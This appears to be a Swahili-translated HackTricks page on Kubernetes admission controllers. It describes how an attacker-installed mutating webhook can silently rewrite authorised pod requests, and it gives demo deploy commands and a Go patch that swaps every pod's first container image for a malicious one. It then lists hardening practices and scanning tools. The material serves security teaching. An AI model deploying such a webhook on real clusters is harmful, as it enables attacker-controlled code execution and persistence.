Mdhibiti wa kuingiza unakamata maombi kwa seva ya API ya Kubernetes kabla ya kudumu kwa kitu, lakini baada ya ombi kuthibitishwa na kuidhinishwa.

Ikiwa mshambuliaji kwa namna fulani anafanikiwa kuingiza Mdhibiti wa Kuingiza Mabadiliko, ataweza kubadilisha maombi ambayo tayari yameidhinishwa. Kuwa na uwezo wa kuweza kujiinua, na kwa kawaida kudumu katika klasta.

Mfano kutoka https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Angalia hali ili kuona kama iko tayari:

bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Kisha weka pod mpya:

bash
kubectl run nginx --image nginx
kubectl get po -w

Wakati unaweza kuona kosa la ErrImagePull, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo:

bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Kama unavyoona katika picha hapo juu, tulijaribu kuendesha picha nginx lakini picha iliyotekelezwa mwishowe ni rewanthtammana/malicious-image. Nini kimetokea!!?

Technicalities

Script ya ./deploy.sh inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yanayoonekana:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Best Practices

Kuzima Automount ya Tokens za Akaunti ya Huduma

  • Pods na Akaunti za Huduma: Kwa kawaida, pods huweka token ya akaunti ya huduma. Ili kuboresha usalama, Kubernetes inaruhusu kuzima kipengele hiki cha automount.
  • Jinsi ya Kutumia: Weka automountServiceAccountToken: false katika usanidi wa akaunti za huduma au pods kuanzia toleo la Kubernetes 1.6.

Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings

  • Injini ya Uchaguzi: Hakikisha kuwa watumiaji wanaohitajika tu wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali.

Majukumu Maalum ya Namespace Juu ya Majukumu ya Kiwango cha Klasta

  • Majukumu vs. ClusterRoles: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.

Tumia zana za kiotomatiki

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks